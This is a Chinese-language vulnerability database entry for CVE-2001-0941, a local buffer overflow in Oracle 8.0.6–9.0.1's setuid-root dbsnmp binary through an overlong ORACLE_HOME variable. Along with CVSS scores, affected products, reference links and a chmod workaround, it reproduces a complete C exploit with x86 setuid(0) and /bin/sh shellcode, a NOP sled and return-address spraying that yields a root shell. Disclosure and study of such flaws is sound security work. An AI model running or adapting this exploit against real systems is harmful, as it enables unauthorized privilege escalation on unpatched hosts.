CVE-2001-0941
CVSS4.6
发布时间 :2001-11-30 00:00:00
修订时间 :2016-10-17 22:13:41
NMCOE    

[原文]Buffer overflow in dbsnmp in Oracle 8.0.6 through 9.0.1 allows local users to execute arbitrary code via a long ORACLE_HOME environment variable.


[CNNVD]Oracle DBSNMP Oracle Home环境变量缓冲区溢出(CNNVD-200111-061)

        Oracle 8.0.6到9.0.1版本的dbsnmp存在缓冲区溢出漏洞。本地用户借助超长ORACLE_HOME环境变量执行任意代码。

- CVSS (基础分值)

CVSS分值: 4.6 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:oracle:database_server:8.1.7Oracle Database Server 8.1.7
cpe:/a:oracle:database_server:8.0.6Oracle Database Server 8.0.6
cpe:/a:oracle:database_server:9.0.1Oracle Database Server 9.0.1
cpe:/a:oracle:database_server:8.1.6Oracle Database Server 8.1.6

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0941
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0941
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200111-061
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=100716693806967&w=2
(UNKNOWN)  BUGTRAQ  20011130 ASI Oracle Security Alert: Oracle Home Environment Variable Buffer Overflow
http://otn.oracle.com/deploy/security/pdf/dbsmp_alert.pdf
(VENDOR_ADVISORY)  CONFIRM  http://otn.oracle.com/deploy/security/pdf/dbsmp_alert.pdf
http://www.securityfocus.com/bid/3138
(UNKNOWN)  BID  3138
http://xforce.iss.net/xforce/xfdb/7643
(UNKNOWN)  XF  oracle-dbsnmp-home-bo(7643)

- 漏洞信息

Oracle DBSNMP Oracle Home环境变量缓冲区溢出
中危 缓冲区溢出
2001-11-30 00:00:00 2005-10-20 00:00:00
本地  
        Oracle 8.0.6到9.0.1版本的dbsnmp存在缓冲区溢出漏洞。本地用户借助超长ORACLE_HOME环境变量执行任意代码。

- 公告与补丁

        A vendor supplied patch is also available from:
        http://metalink.oracle.com.

- 漏洞信息 (21044)

Oracle 8/9i DBSNMP Oracle Home Environment Variable Buffer Overflow (EDBID:21044)
windows local
2001-08-02 Verified
0 Juan Manuel Pascual Escribá
N/A [点击下载]
source: http://www.securityfocus.com/bid/3138/info

Oracle is an Enterprise level SQL database, supporting numerous features and options. It is distributed and maintained by Oracle Corporation.

When the ORACLE_HOME environment variable is filled with 750 bytes or more, a buffer overflow occurs. This overflow may be used to overwrite variables on the stack, including the return address. Since the dbsnmp program is setuid root, it is possible to gain elevated privileges, including administrative access.

To exploit this vulnerability, the user must be in the oracle group. 

/* Exploit code for dbsnmp binary in Oracle 8.1.6.0.0 Linux Platform. I tested it in RH 6.2.

dbsnmp makes setresuid(,getuid(),) before reading ORACLE_HOME environment variable. Its necessary to call setuid(0) before normal shellcode.

In My tests Offset may vary from 7846 to 7896. Its posible to obtain a normal (uid=oracle) shell for low offsets (incomplete setuid(0) jumps). 



"Cae fuego en lugar de mana
Se disfraza el asfalto de mar
El zapato no encuentra el pedal
Parece que anda suelto satanas."

			L.E.Aute
 


This vulnerability was researched by:
	Juan Manuel Pascual <pask@plazasite.com>

Special thanks to:

	Ivan Sanchez <isanchez@plazasite.com>
	Mundo Alonso-Cuevillas <mundo@plazasite.com>
*/





#include <stdio.h>
#include <stdlib.h>

#define BUFFER                                  800
#define OFFSET                                 7896
#define NOP                                    0x90
#define BINARY  "/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp"


char shellcode[] =
"\x90"		/* Additional NOP */
"\x31\xc0"	/* begin setuid (0) */
"\x31\xdb"
"\xb0\x17"
"\xcd\x80"

"\xeb\x1f"
"\x5e"
"\x89\x76\x08"
"\x31\xc0"
"\x88\x46\x07"
"\x89\x46\x0c"
"\xb0\x0b"
"\x89\xf3"
"\x8d\x4e\x08"
"\x8d\x56\x0c"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\x40"
"\xcd\x80"
"\xe8\xdc\xff\xff\xff"
"/bin/sh";


unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr,binary[120];
  long *addr_ptr, addr;
  int bsize=BUFFER;
  int i,offset=OFFSET;

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() -offset;
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  memset(buff,bsize/2,NOP);

ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';
setenv("ORACLE_HOME",buff,1);
system(BINARY);
}

		

- 漏洞信息

9432
Oracle dbsnmp ORACLE_HOME Variable Local Overflow
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public Vendor Verified

- 漏洞描述

A local overflow exists in Oracle. Oracle fails to perform proper bounds checking on the user supplied ORACLE_HOME variable in dbsnmp resulting in a buffer overflow. With a specially crafted request in which the value of ORACLE_HOME is more than 750 bytes, an attacker can cause execution of arbitrary code resulting in a loss of integrity.

- 时间线

2001-11-29 Unknow
2001-11-30 Unknow

- 解决方案

Currently, there are no known upgrades to correct this issue. However, Oracle has released a patch to address this vulnerability. It is also possible to correct the flaw by implementing the following workaround: chmod -s dbsnmp

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站